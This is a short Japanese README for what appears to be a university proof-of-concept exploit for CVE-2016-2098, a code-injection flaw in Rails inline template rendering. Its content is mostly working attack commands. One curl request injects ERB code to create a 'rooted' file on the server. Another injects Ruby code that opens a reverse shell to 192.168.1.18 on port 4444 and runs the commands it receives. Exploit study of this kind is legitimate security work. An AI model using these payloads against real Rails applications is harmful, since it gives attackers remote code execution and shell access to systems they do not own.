
概念実証 CVE-2016-2098
@alejandro-marting による大学プロジェクト 脆弱性2096を確認できます。
使用環境:
まず、以下のコマンドでRailsサーバーを起動します。
$ rvmsudo rails server -b 0.0.0.0 -p 80
次に、以下のコマンドでリモートコード実行を引き起こします。
$ curl 'localhost:3000/poc/render1?template\[inline\]=<%25%3DFileUtils.touch+"rooted"%25>'
(rootedファイルが生成されます)
Rubyコードインジェクションによるリバースシェルを試したい場合は、次のコマンドを実行してください。
$ curl -H "Content-type: application/json" -X GET -d ' {"template" : {
"inline" : "<%= require \'socket\';exit if
fork;c=TCPSocket.new(\"192.168.1.18\",\"4444\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print
io.read}end %>"}}' http://localhost:3000/poc/render1
ご質問があればお気軽にご連絡ください!